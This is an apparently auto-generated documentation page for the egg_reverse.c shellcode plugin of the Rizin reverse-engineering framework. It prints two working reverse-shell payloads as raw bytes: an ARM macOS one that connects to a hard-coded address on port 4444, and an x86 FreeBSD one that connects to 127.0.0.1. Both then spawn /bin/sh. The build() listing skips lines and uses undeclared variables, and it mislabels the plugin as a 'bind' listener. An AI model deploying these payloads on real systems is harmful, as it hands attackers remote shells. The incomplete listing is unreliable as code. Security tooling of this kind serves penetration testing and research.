Rizin
unix-like reverse engineering framework and cli tools
egg_reverse.c File Reference
#include <rz_egg.h>

Go to the source code of this file.

Functions

static RzBufferbuild (RzEgg *egg)
 

Variables

unsigned long armle_osx_reverse []
 
unsigned char x86_freebsd_reverse []
 
RzEggPlugin rz_egg_plugin_bind
 
RZ_API RzLibStruct rizin_plugin
 

Function Documentation

◆ build()

static RzBuffer* build ( RzEgg egg)
static

Definition at line 29 of file egg_reverse.c.

29  {
31  const ut8 *sc = NULL;
32  int cd = 0;
33  char *port = rz_egg_option_get(egg, "port");
34  // TODO: char *udp = rz_egg_option_get (egg, "udp");
35  switch (egg->os) {
36  case RZ_EGG_OS_OSX:
37  case RZ_EGG_OS_DARWIN:
38  switch (egg->arch) {
39  case RZ_SYS_ARCH_ARM:
41  cd = 7 + 36;
42  break;
43  }
44  break;
45  case RZ_EGG_OS_FREEBSD:
46  switch (egg->arch) {
47  case RZ_SYS_ARCH_X86:
48  switch (egg->bits) {
49  case 32: sc = x86_freebsd_reverse; break;
50  default: eprintf("Unsupportted\n");
51  }
52  break;
53  }
54  break;
55  default:
56  eprintf("unsupported os %x\n", egg->os);
57  break;
58  }
59  if (sc) {
60  rz_buf_set_bytes(buf, sc, strlen((const char *)sc));
61  if (shell && *shell) {
62  if (cd)
63  rz_buf_write_at(buf, cd, (const ut8 *)shell, strlen(shell) + 1);
64  else
65  eprintf("Cannot set shell\n");
66  }
67  }
68  free(suid);
69  free(shell);
70  return buf;
71 }
static csh cd
Definition: asm_mips_cs.c:10
#define NULL
Definition: cris-opc.c:27
RZ_API char * rz_egg_option_get(RzEgg *egg, const char *key)
Definition: egg.c:534
static char sc[]
Definition: egg_cb.c:6
unsigned long armle_osx_reverse[]
Definition: egg_reverse.c:6
unsigned char x86_freebsd_reverse[]
Definition: egg_reverse.c:20
RZ_API void Ht_() free(HtName_(Ht) *ht)
Definition: ht_inc.c:130
voidpf void * buf
Definition: ioapi.h:138
uint8_t ut8
Definition: lh5801.h:11
#define eprintf(x, y...)
Definition: rlcc.c:7
RZ_API st64 rz_buf_write_at(RZ_NONNULL RzBuffer *b, ut64 addr, RZ_NONNULL const ut8 *buf, ut64 len)
Write len bytes of the buffer at the specified address.
Definition: buf.c:1197
RZ_API bool rz_buf_set_bytes(RZ_NONNULL RzBuffer *b, RZ_NONNULL const ut8 *buf, ut64 len)
Replace the content of the buffer with the bytes array.
Definition: buf.c:905
RZ_API RZ_OWN RzBuffer * rz_buf_new_with_bytes(RZ_NULLABLE RZ_BORROW const ut8 *bytes, ut64 len)
Creates a new buffer with a bytes array.
Definition: buf.c:465
#define RZ_EGG_OS_DARWIN
Definition: rz_egg.h:129
#define RZ_EGG_OS_OSX
Definition: rz_egg.h:128
#define RZ_EGG_OS_FREEBSD
Definition: rz_egg.h:136
@ RZ_SYS_ARCH_X86
Definition: rz_types.h:532
@ RZ_SYS_ARCH_ARM
Definition: rz_types.h:533
int bits
Definition: rz_egg.h:108
int arch
Definition: rz_egg.h:106
ut32 os
Definition: rz_egg.h:109

References rz_egg_t::arch, armle_osx_reverse, rz_egg_t::bits, cd, eprintf, free(), NULL, rz_egg_t::os, rz_buf_new_with_bytes(), rz_buf_set_bytes(), rz_buf_write_at(), rz_egg_option_get(), RZ_EGG_OS_DARWIN, RZ_EGG_OS_FREEBSD, RZ_EGG_OS_OSX, RZ_SYS_ARCH_ARM, RZ_SYS_ARCH_X86, sc, and x86_freebsd_reverse.

Variable Documentation

◆ armle_osx_reverse

unsigned long armle_osx_reverse[]
Initial value:
= {
0xe3a00002, 0xe3a01001, 0xe3a02006, 0xe3a0c061, 0xef000080, 0xe1a0a000, 0xeb000001,
0x5c110200,
0x8700a8c0,
0xe1a0000a, 0xe1a0100e, 0xe3a02010, 0xe3a0c062, 0xef000080,
0xe3a05002, 0xe3a0c05a, 0xe1a0000a, 0xe1a01005, 0xef000080,
0xe2455001, 0xe3550000, 0xaafffff8, 0xe3a00000, 0xe3a01001,
0xe3a0c07e, 0xef000080, 0xe0455005, 0xe1a0600d, 0xe24dd020,
0xe28f0014, 0xe4860000, 0xe5865004, 0xe1a01006, 0xe3a02000,
0xe3a0c03b, 0xef000080,
0x6e69622f, 0x0068732f
}

Definition at line 6 of file egg_reverse.c.

Referenced by build().

◆ rizin_plugin

RZ_API RzLibStruct rizin_plugin
Initial value:
= {
.type = RZ_LIB_TYPE_EGG,
.version = RZ_VERSION
}
RzEggPlugin rz_egg_plugin_bind
Definition: egg_reverse.c:74
@ RZ_LIB_TYPE_EGG
Definition: rz_lib.h:84
#define RZ_VERSION
Definition: rz_version.h:8

Definition at line 82 of file egg_reverse.c.

◆ rz_egg_plugin_bind

RzEggPlugin rz_egg_plugin_bind
Initial value:
= {
.name = "bind",
.desc = "listen port=4444",
.build = (void *)build
}
static RzBuffer * build(RzEgg *egg)
Definition: egg_reverse.c:29
#define RZ_EGG_PLUGIN_SHELLCODE
Definition: rz_egg.h:19

Definition at line 74 of file egg_reverse.c.

◆ x86_freebsd_reverse

unsigned char x86_freebsd_reverse[]
Initial value:
=
"\xeb\x68\x5e\x31\xc0\x31\xdb\xb3\x06\x53\xb3\x01\x53\xb3\x02\x53\x53\xb0\x61"
"\xcd\x80\x89\xc2\xc6\x46\x01\x02\x66\xc7\x46\x02\x69\x7a\xb3\x10\x53\x8d\x1e"
"\x53\x50\x50\xb0\x62\xcd\x80\x31\xdb\x53\x52\xb0\x5a\x50\xcd\x80\xfe\xc3\x53"
"\x52\xb0\x5a\x50\xcd\x80\xfe\xc3\x53\x52\xb0\x5a\x50\xcd\x80\x31\xdb\x53\x8d"
"\x7e\x0f\x31\xc0\x31\xc9\xb1\x09\xf3\xaa\x8d\x5e\x08\x89\x5e\x10\x8d\x4e\x10"
"\x51\x53\x50\xb0\x3b\xcd\x80\xb0\x01\xcd\x80\xe8\x93\xff\xff\xff\x41\x42\x43"
"\x43\x7f\x00\x00\x01\x2f\x62\x69\x6e\x2f\x73\x68"

Definition at line 20 of file egg_reverse.c.

Referenced by build().